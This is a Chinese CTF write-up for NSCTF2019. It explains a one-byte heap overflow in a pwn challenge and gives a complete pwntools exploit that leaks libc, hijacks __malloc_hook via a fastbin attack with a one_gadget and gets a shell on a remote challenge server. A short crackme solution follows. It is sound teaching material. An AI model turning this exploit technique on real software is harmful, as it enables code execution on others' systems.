NSCTF2019 部分 writeups

有难题也有简单题。

题目文件:https://github.com/Ex-Origin/ctf-writeups/tree/master/nsctf2019

PWN

pwn2

环境是glibc-2.23

溢出点

update函数更新的长度是0x31,但是byte_202060的长度是0x31,导致溢出了一个byte。

void __cdecl update()
{
  puts("Please input your name");
  read(0, byte_202060, 0x31uLL);
}

溢出的byte恰好可以修改ptr指针的低位。

.bss:0000000000202060 ; char byte_202060[48]
.bss:0000000000202060 byte_202060     db 30h dup(?)           ; DATA XREF: initial+84↑o
.bss:0000000000202060                                         ; update+15↑o
.bss:0000000000202090 ; const char *ptr
.bss:0000000000202090 ptr             dq ?                    ; DATA XREF: Add+63↑o

思路

将所有的heap操作都在一个0x100之内完成,这样就能用溢出点方便的进行修改。

  1. 泄露main_arena地址,计算libc基地址
  2. fastbin attach 劫持 hook

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './pwn1'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)}) # 
# sh = process(execve_file)
sh = remote('39.106.184.130', 8090)
# elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    set $p=(char **)$rebase(0x202090)
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def Add(size):
    sh.sendlineafter('6.exit\n', '1')
    sh.sendlineafter('Input the size\n', str(size))

def Delete():
    sh.sendlineafter('6.exit\n', '2')

def Show():
    sh.sendlineafter('6.exit\n', '3')

def Update(name):
    sh.sendlineafter('6.exit\n', '4')
    sh.sendafter('Please input your name\n', name)

def Edit(content):
    sh.sendlineafter('6.exit\n', '5')
    sh.sendafter('Input the note\n', content)

sh.sendafter('Please input your name\n', 'a' * 0x30)
Add(0x88)
Add(0x18)
Update('b' * 0x30 + '\x10')
Delete()
Add(0x18)
Update('b' * 0x30 + '\x30')
Show()

result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - 0x3c4b20
log.success('libc_addr: ' + hex(libc_addr))

Add(0x68)
Delete()
Add(0x18)
Update('b' * 0x30 + '\x30')
Edit(p64(main_arena_addr - 0x33))

Add(0x68)
Add(0x68)

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

onegadget_addr = libc_addr + 0x4526a
log.success('onegadget_addr: ' + hex(onegadget_addr))

'''
0x7ffff7a916c4 <realloc+4>     push   r13
0x7ffff7a916c6 <realloc+6>     push   r12
0x7ffff7a916c8 <realloc+8>     mov    r13, rsi
0x7ffff7a916cb <realloc+11>    push   rbp
0x7ffff7a916cc <realloc+12>    push   rbx
0x7ffff7a916cd <realloc+13>    mov    rbx, rdi
'''

Edit('b' * 0xb + p64(onegadget_addr) + p64(libc_addr + libc.symbols['realloc'] + 11))
# pause()
Add(8)

sh.sendline('cat flag')

sh.interactive()
clear()

RE

crackme_中等难度

调试可以发现sub_4011A6((char *)input, length, v5);函数是根据v5的字符串进行偏移,所以直接提取出函数和字符串进行解密。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void sub_4011A6(char *input, int a2, char *a3)
{
    char *v3;              // ecx
    char v4;               // al
    char v5;               // dl
    char v6;               // bl
    char *v7;              // eax
    char *v8;              // esi
    char v9;               // ST17_1
    char v10;              // bl
    char *v11;             // edi
    char v12;              // bl
    char *v13;             // edx
    int v14;               // zf
    int v15;               // [esp+8h] [ebp-Ch]
    char *v16;             // [esp+Ch] [ebp-8h]
    unsigned char input_3; // [esp+1Fh] [ebp+Bh]
    unsigned char a2_3;    // [esp+23h] [ebp+Fh]
    unsigned char a3_3;    // [esp+27h] [ebp+13h]

    v3 = a3;
    v4 = a3[64];
    v5 = a3[65];
    v6 = a3[66];
    v16 = input;
    if (a2)
    {
        v15 = a2;
        while (1)
        {
            a3_3 = (v4 + 1) & 0x3F;
            v7 = &v3[a3_3];
            input_3 = (v3[a3_3] + v5) & 0x3F;
            v8 = &v3[input_3];
            a2_3 = (a3_3 + *v8) & 0x3F;
            v9 = *v16;
            v10 = *v7 ^ *v8;
            *v7 ^= v10;
            *v8 ^= v10;
            v11 = &v3[a2_3];
            v12 = *v7 ^ *v11;
            *v7 ^= v12;
            *v11 ^= v12;
            v13 = v16++;
            v14 = v15-- == 1;
            *v13 = v9 - ((*v7 + *v8 + *v11) & 0x3F);
            if (v14)
                break;
            v5 = input_3;
            v4 = a3_3;
        }
        v6 = a2_3;
        v5 = input_3;
        v4 = a3_3;
    }
    v3[66] = v6;
    v3[64] = v4;
    v3[65] = v5;
}

int main(int argc, char const *argv[])
{
    int i, j;
    char original_buf[148] = "\x2D\x3E\x27\x3D\x0D\x28\x06\x34\x1D\x0A\x00\x31\x1C\x24\x20\x04\x3B\x08\x02\x3A\x14\x2C\x25\x1F\x18\x1A\x1E\x2A\x21\x11\x3F\x38\x17\x30\x0F\x22\x03\x12\x35\x07\x3C\x33\x10\x26\x2B\x09\x2E\x37\x1B\x32\x16\x2F\x0C\x23\x13\x29\x15\x05\x01\x36\x39\x0E\x19\x0B\x00\x00\x00\x74\x2E\x67\x58\x29\x65\x25\x65\x46\x14\x14\x0F\x12\x28\x24\x15\x2D";
    char buf[148];
    char *out = "\x2E\x67\x58\x29\x65\x25\x65\x46\x14\x14\x0F\x12\x28\x24\x15\x2D";
    char flag[0x20] = {0};
    char input[0x20] = {0};
    for (j = 0; j < strlen(out); j++)
    {
        for (i = 0; i < 256; i++)
        {
            memset(input, 0, 0x20);
            input[j] = i;
            memcpy(buf, original_buf, 148);
            sub_4011A6(input, 16, buf);
            if (out[j] == input[j])
            {
                flag[j] = i;
            }
        }
    }
    puts(flag);
    return 0;
}

运行便可得到答案ctfcoded20190616